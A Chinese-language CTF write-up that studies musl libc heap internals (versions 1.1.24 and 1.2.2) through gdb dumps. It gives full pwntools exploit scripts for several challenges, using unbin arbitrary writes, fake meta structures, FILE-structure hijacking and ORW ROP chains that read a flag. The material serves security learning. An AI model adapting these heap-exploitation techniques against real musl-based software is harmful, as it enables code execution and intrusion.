准备复现5道musl pwn,其中4道都是1.2.2版本的,源码实在看不下去呜呜呜,还是跟之前学glibc一样,直接去gdb看数据来理解结构和内存管理。musl里没有malloc_hook和free_hook,所以保护全开的时候通常只能打FILE结构体。先从类似glibc的1.1.24版本入手。

Version 1.1.24

概述

musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如 Alpine Linux(做过 Docker 镜像的应该很熟悉)、OpenWrt(常用于路由器)和 Gentoo 等。

musl libc 堆管理器约等同于dlmalloc(glibc 堆管理器ptmalloc2的前身),因此某些部分如 chunk、unbin 与 glibc 十分相似。

数据结构

详细讲解 从一次 CTF 出题谈 musl libc 堆漏洞利用

源码 v1.1.24/src/malloc/malloc.c

1
2
3
4
struct chunk {
size_t psize, csize; // 相当于 glibc 的 prev size 和 size
struct chunk *next, *prev;
};

psize和csize最低位都是inuse标志位

chunk 大小:从0x20开始,以0x20跨度递增(而不是0x10)

1
2
3
4
5
static struct {
volatile uint64_t binmap;
struct bin bins[64];
volatile int free_lock[2];
} mal;

mal结构体类似于 glibc 中的main_arena

有三个成员:64位无符号整数binmap、链表头部数组bins和锁free_lock

binmap记录每个 bin 是否为非空,若某个比特位为 1,表示对应的 bin 为非空,即 bin 链表中有 chunk。

1
2
3
4
5
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};

bin 是由 64 个结构类似 small bin 的双向循环链表组成,维护链表的方式是 FILO(从链表首部取出 chunk,从尾部插入 chunk)。

malloc大概过程:

根据size计算出对应bin的索引,然后查找binmap看看对应bin上有没有空闲chunk,如果有就unbin操作取出head指向的chunk

常见利用

取出 chunk 的过程中没有对链表和 chunk 头部进行任何检查。

利用unbin将目标地址插入bin中,实现任意地址写

1
2
3
4
5
6
7
8
9
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}

WMCTF_2021_Nescafe

1
2
3
4
$./libc.so 
musl libc (x86_64)
Version 1.1.24
Dynamic Program Loader

musl 1.1.24的版本和glibc差不多

chunk结构很相似,常用的小bin管理类似于smallbin的双向链表管理

本题exp参考 WMCTF 2021 pwn Azly复现

静态分析

沙箱禁用了execve

chunk size 0x200

idx 0-4

free后指针没置零,可以edit和show

只能show一次

how to leak

chunk被释放后被插入bin(mal+384),以双向链表进行管理

chunk的next*pre*指针域就会被写入bin地址

可以uaf,直接show 得到libc地址

how to hijack

gdb下使用 p mal 可以查看所有bin

①如下mal+384可以理解成bin

首先add两个0x200的chunk,bin一直指向top chunk以便下次分配

free chunk0后bin指向了chunk0

chunk0的两个指针域也指向了bin

image-20210911221746016

②uaf 修改chunk0的两个指针域

next设置为bin-0x8

pre设置为目标地址

1
2
3
fake_chunk = p64(mal+400-0x18) # mal+376
fake_chunk += p64(libc.sym['__stdin_FILE']+0x40)
edit(0,fake_chunk)

image-20210911222824673

③根据bins的head取出chunk0的空间,作为chunk2

并进行unlink

chunk0(chunk2)的pre(即目标地址stdin_FILE+0x40)作为bin的新head

同时,目标地址stdin_FILE+0x40的fd被写入原chunk0的fd

1
add('B'*0x100)#2 stdin_file 

image-20210911222129217

④根据bins的head取出stdin_FILE+0x40的空间,作为chunk3

成功申请到目标地址

1
2
3
payload = 'A'*0x30+p64(libc.sym['__stdout_FILE']+0x50)+p64(ret)+p64(0)+p64(mov_rdx) 
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0x500)+p64(libc.sym['read'])
add('C'*0xb0+payload)#3

image-20210911222907607

从stdin溢出到stdout

image-20210911174349792

(FSOP)修改 stdout 上的函数指针劫持程序控制流,进行栈迁移ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mov_rdx = libc.address+0x000000000004951a 
# 0x7f687c98751a <longjmp+34>: mov rdx,QWORD PTR [rdi+0x30]
# 0x7f687c98751e <longjmp+38>: mov rsp,rdx
# 0x7f687c987521 <longjmp+41>: mov rdx,QWORD PTR [rdi+0x38]
# 0x7f687c987525 <longjmp+45>: jmp rdx
payload = 'E'*0x30
payload += p64(libc.sym['__stdout_FILE']+0x50)+p64(ret) #0x30
payload += p64(0)+p64(mov_rdx) #0x40
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0x500)+p64(libc.sym['read'])


leak('pop_rdi',pop_rdi)
pause()
add('C'*0xb0+payload)#3

image-20210911224458218

这样就会执行gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mov    rdx,QWORD PTR [rdi+0x30] 
# 将stdout_FILE+0x30地址上的内容(stdout_FILE+0x50)放入rdx
# rdi:stdout_FILE+0x30 // rdx:stdout_FILE+0x50

mov rsp,rdx
# 栈顶指向stdout_FILE+0x50(存放了pop rdi gadget地址)
# rsp=rdx:stdout_FILE+0x50

mov rdx,QWORD PTR [rdi+0x38]
# 将stdout_FILE+0x38地址上的内容(ret gadget地址)放入rdx
# rdx: ret_addr

jmp rdx
# 跳到ret gadget地址,执行pop rip
# 将栈顶的pop rdi gadget地址弹出并跳转执行
# 继续ROP,执行完read(0,addr,0x500)

执行 orw ROP 读取 flag

向__stdout_FILE地址写入如下,

主要是在__stdout_FILE+0x38处开始写入gadget,再次ROP

因为执行SYS_read后会跳转到__stdout_FILE+0x38上的地址(调试得到偏移 )

1
2
3
4
5
payload = 'A'*0x38 
payload += p64(pop_rdi)+p64(libc.sym['__stdout_FILE']+0x100)+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['read'])
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['write'])
payload = payload.ljust(0x100,'\x00')+"./flag\x00"

类似题目还有 2020 XCTF 高校战“疫” musl-master

堆溢出漏洞,同样是利用unbin劫持

只写到申请出stdin,后面有点麻烦不想写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

flag=0
if flag:
sh = remote('119.3.81.43', 49153)
else:
sh = process(["./libc.so","./carbon"])
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def menu(choice):
sla("> ",str(choice))
def add(size,believer,content):
menu(1)
sla('size? >',str(size))
sla('believer? >',str(believer)) #Y
sa('sleeve >',content)
def edit(idx,content):
menu(3)
sla("sleeve ID? >",str(idx))
sl(content)
def show(idx):
menu(4)
sla("sleeve ID? >",str(idx))
def delete(idx):
menu(2)
sla("sleeve ID? >",str(idx))
def death():
menu(5)

# ========================================================leak libc
add(0x30,'N','a'*0x30) #0
add(0x30,'N','a'*0x30) #1 avoid consolidation
add(0x30,'N','b'*0x30) #3
add(0x30,'N','c'*0x30) #4
add(0x30,'N','a'*0x30) #5 avoid consolidation
delete(0)
add(8,'N','b'*8) #0
show(0)
mal = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 24
leak('mal',mal)
libc = ELF('./libc.so')
libc.address = mal - 0x292ac0
leak('libc.address',libc.address)

# =========================================================hijack bin
delete(4)
# overflow chunk4(in bin)
delete(3)
add(0x30,'Y','d'*0x30+p64(0x41)+p64(0xb40)+p64(mal+880)+p64(libc.sym['__stdin_FILE']+0x40)+'\n') #3
# insert bin
add(0x30,'N','e'*0x30) #4

add(0x80,'N','g'*0x30) #5 write stdin!

# gdb.attach(sh)
ti()

Version 1.2.2

祥云杯_2021_babymull

1
2
3
4
$./libc.so 
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader

新版musl libc 浅析

[阅读型]新版musl libc(1.2.2)堆管理之源码剖析!

借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)

本题exp参考 第二届“祥云杯”网络安全大赛官方Writeup-Pwn篇

静态分析

禁用了execve

只能在add写chunk

1
2
3
4
5
struct manage_chunk{ # 0x20
char name[0x10];
void *chunk_ptr; # chunk_Size <= 0x1000
size_t size;
};

chunk_ptr指针free后没置0

有一次show机会

一次后门:将任意一地址的单字节置零,然后泄露任意一地址的 8 字节。

image-20210912182016284

gdb查看数据结构

对着下图从头开始一个个分析结构

img

__malloc_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> p __malloc_context
$1 = {
secret = 13395722478044406582,
init_done = 1,
mmap_counter = 0,
free_meta_head = 0x0,
avail_meta = 0x5555560cc1f8, #meta_area中管理的空闲的meta首地址,用avail_meta_count表示数量
avail_meta_count = 89,
avail_meta_area_count = 0,
meta_alloc_shift = 0,
meta_area_head = 0x5555560cc000,
meta_area_tail = 0x5555560cc000,
avail_meta_areas = 0x5555560cd000 <error: Cannot access memory at address 0x5555560cd000>,
active = {0x0 <repeats 11 times>, 0x5555560cc090, 0x0, 0x0, 0x0, 0x5555560cc068, 0x0, 0x0, 0x0, 0x5555560cc040, 0x0, 0x0, 0x0, 0x5555560cc018, 0x0 <repeats 24 times>},
# 堆管理器依据申请的size,将chunk分成48类chunk。缓存可继续分配的meta,数组下标与大小有关。
usage_by_class = {0 <repeats 48 times>}, # 对应大小的缓存的所有meta的group所管理的chunk个数。
unmap_seq = '\000' <repeats 31 times>,
bounces = '\000' <repeats 31 times>,
seq = 0 '\000',
brk = 93825004261376
}

pwndbg> p &__malloc_context
$2 = (struct malloc_context *) 0x7f952e19cb60 <__malloc_context>

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
......
0x7f952e19c000 0x7f952e19d000 rw-p 1000 98000 /home/wendy/Desktop/xyb/babymull/libc.so
......

__malloc_context是musl libc的全局管理结构指针,相当于main_arena,存放在libc.so的bss段

active = {0x0 <repeats 11 times>, 0x5555560cc090,0...:堆管理器依据申请的size,将chunk分成48类chunk,由sizeclass指定。每类chunk由一个meta结构管理,meta管理的chunk个数有限,由small_cnt_tab指定。当申请个数超出一个meta所能管理的最大数量,堆管理器会再申请同类型meta管理更多的chunk,并且以双向链表结构管理这些相同类型的meta。
usage_by_class = {0 <repeats 48 times>}:表示当前各meta管理着的chunk个数。

申请 chunk后的malloc_context变化

这里直接用这题做测试,add 0x20两次,相当于申请了4个0x30的chunk

用户申请空间之后,才有了meta页来对chunk进行管理

同时malloc_context的active数组对应元素会指向meta地址

usage_by_class数组会显示该meta的每group可管理chunk的最多数量

无标题

meta结构体

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next; // meta是一个双向链表
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

申请4个chunk之后gdb查看meta结构

1
2
add(0x20, b"B"*0x20)
add(0x20, b"C"*0x20)

image-20210912153822227

image-20210912154050548

0x7fb8fbfa9ce0user data域;
avail_mask = 1008 = 0b11 1111 0000表示第0、1、2、3个chunk不可用(已经被使用);
freed_mask = 0表示没有chunk被释放;
last_idx = 9表示最后一个chunk的下标是9,总数是10个
sizeclass = 2表示由2这个group进行管理。

当我们把2这个group里10个chunk都使用掉,之后申请就会开辟第二个meta页进行管理,两个meta之间由一个双向链表进行维护;

group里的chunk结构

1
2
3
4
5
6
struck chunk{
uint8 zero;
uint8 idx; // 低7位是idx, 高5位是reserved
uint16 offset;
char[] usermem; // <--用户拿到的内存
}

由上图meta结构中的mem指针查看user data

image-20210912160425927

需要注意,分配给用户的 最小chunk size 是0x8

和glibc类似,可以进行复用,可以接收输入8+4个byte,占用下一个chunk header的前4个byte

释放 chunk之后meta结构变化

1
2
3
add(0x20, b"B"*0x20)
add(0x20, b"C"*0x20)
delete(0)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p *(struct meta*)0x55555688b1f8
$2 = {
prev = 0x55555688b1f8,
next = 0x55555688b1f8,
mem = 0x7f9d4c0fbce0,
avail_mask = 1008,
freed_mask = 3,
last_idx = 9,
freeable = 1,
sizeclass = 2,
maplen = 0
}

freed_mask = 3 = 0b11表示前两个chunk被释放;
avail_mask = 1008 = 0b11 1111 0000可以发现,avail_mask没变,此时前两个chunk仍然为不可分配的状态;

chunk header

image-20210912163514516

上面了解得差不多了,应该就可以看懂exp了

开始复现

how to leak

manage chunk里面就有slot指针(其实就是chunk,但是好像在musl里面叫slot),但是前面的name有截断符,泄露不了

当一个group的所有chunk都被使用过了 ,才会使用被释放的chunk,

那么我们先申请完10个chunk,并填满数据,再释放上图前两个框的chunk,

再申请两个size不等于0x20的content_chunk,则第二个content_chunk的manage_chunk就是上图第二个框的chunk,

name的截断符就没有了,这样show功能可以直接泄露后面的指针域

image-20210912170553923

how to hijack

dele content_chunk5时

会根据content_chunk5的head中的offset定位到存放meta地址的地址

offset被我们用后门函数改为了0x1000

所以就定位到了chunk0内已经写好的fake meta地址

这样fake meta就被链到了active里

image-20210912223251244

image-20210912223348499

image-20210912223734296

之后再edit chunk0

image-20210913101355722

image-20210913103019896

这篇新空间刚好可以用来写orw_rop

之后申请0x800的chunk就刚好能申请到stdout_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

flag=0
if flag:
sh = remote('119.3.81.43', 49153)
else:
sh = process(["./libc.so","./babymull"])
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def menu(choice):
sla("choice >> ",str(choice))
def add(Size,content='A', name=b"A"*0xf):
menu(1)
sa('Name: ',name)
sla('Size: ',str(Size))
sla('Content: ',content)
def show(idx):
menu(3)
sla("Index: ",str(idx))
def delete(idx):
menu(2)
sla("Index: ",str(idx))
def gift(set_zero,leak_addr):
menu(0x73317331)
sl(str(set_zero))
sl(str(leak_addr))

for i in range(5):
add(0x20, b"B"*0x20) # fill group2
delete(0)

add(0x1000) # 0 use manage_chunk0
add(0x1000, '\x00'*0x238 + p32(0x5)) # 5 use content_chunk0 why p32(0x5)????
# # fake reserved_size

### Leak libc address
show(5)
libc=ELF('./libc.so',checksec=False)
libc.address = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) + 0x2aa0 +0x6000
leak('libc.address',libc.address)
mmap_base = libc.address - 0xa000
leak('mmap_base',mmap_base)
leak('mmap_base + 0x1560 -8 + 6',mmap_base + 0x1560 -8 + 6)
leak('malloc_context',libc.symbols['__malloc_context'])

# modify head of content_chunk_5 // offset 0x1550->0x1000
# leak __malloc_context->secrect
gift(mmap_base + 0x1560 -8 + 6 ,libc.symbols['__malloc_context'])
sh.recvuntil('0x')
secret = int(sh.recvuntil('\n',drop=True),16)
leak('secret',secret)

# ======================================================================================

### Construct fake_meta and fake_meta_arena
fake_meta = mmap_base+0x1000+8
fake_meta_ptr = mmap_base+0x550
# fake_meta_ptr
pp = flat({0x550-0x30: fake_meta}, filler='\x00', length=0x1000-0x30)
# fake meta_arena
pp += p64(secret) # area->check
# fake meta
pp += flat([0, 0, # meta->prev, meta->next
fake_meta_ptr, # meta->mem
0, # meta->avail_mask, meta->freed_mask
(24<<6)+1 # meta->sizeclass, meta->last_idx
])
leak('fake_meta',fake_meta)
leak('fake_meta_ptr',fake_meta_ptr)
#edit chunk0
delete(0)
add(0x1000,pp) # write fake meta to chunk0

# insert fake meta
delete(5)

#edit chunk0(fake meta->mem to __stdout_FILE) // uaf bin attack
delete(0)
add(0x1000, '\x00'*(0x1000-0x40+8) + flat([0, 0, libc.symbols["__stdout_FILE"]-0x940, 2, (24<<6)+1]))

# =====================================================================================

### Build orw ROP

buf = mmap_base + 0x2aa0
leak('buf',buf)
rop_chain = mmap_base + 0x2ba0
leak('rop_chain',rop_chain)

pop_rdi = libc.address + 0x15536
pop_rsi = libc.address + 0x1b3a9
pop_rdx = libc.address + 0x4727c
xchg_eax_edi = libc.address + 0x26e75

open = libc.symbols["open"]
read = libc.symbols["read"]
write = libc.symbols["write"]

rop = flat([
pop_rdi, buf,
pop_rsi, 0,
open, # open("/flag", 0)
xchg_eax_edi, #xchg edi,eax ; ret
pop_rsi, buf,
pop_rdx, 0x100,
read, # read(fd, buf, 0x100)
pop_rdi, 1,
pop_rsi, buf,
pop_rdx, 0x100,
write, # write(1, buf, 0x100)
])

add(0x1000, b"/flag".ljust(0x100, '\x00') + rop)

# =============================================================================
### Build fake __stdout_FILE
# 0x15238: ret;
ret = libc.address + 0x15238
# 0x4bcf3: mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
stack_mig = libc.address + 0x4bcf3

stdout = flat({
0x20: 1, # f->wpos
0x28: 1, # f->wend
0x30: rop_chain,
0x38: ret,
0x48: stack_mig # f->write
},filler='V')
print stdout
### Overwrite __stdout_FILE
add(0x800, stdout)

# gdb.attach(sh)
ti()

疑问

为什么add 0x800大小的chunk就可以直接申请到stdout_FILE,而不是从被释放的0x1000chunk开头开始(stdout_FILE - 0x940)?

为什么content_chunk5(0x1000)一开始要在0x238偏移后写入p32(5),大概是绕过free时的检查?毕竟把它head头的offset从0x1550改成了1000


强网杯 2021 easyheap

https://cy2cs.top/2021/06/16/%E3%80%90ctf%E3%80%91%E5%BC%BA%E7%BD%91%E6%9D%AF-2021-easyheap/

DefCon_Quals_2021_mooosl

https://www.anquanke.com/post/id/241104#h2-0

RCTF_2021_musl

1
2
3
4
$./libc.so 
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader

静态分析

禁用了execve

只能在add写chunk

idx<=15

1
2
3
4
5
struct manage_chunk{ # 0xc(8+4)复用4字节空间
void *content_chunk_ptr;
0;
size_t size - 1;
};

free content_chunk

free manage_chunk

任意次数show

BSides Noida CTF baby_musl

musl_pwn之exit函数劫持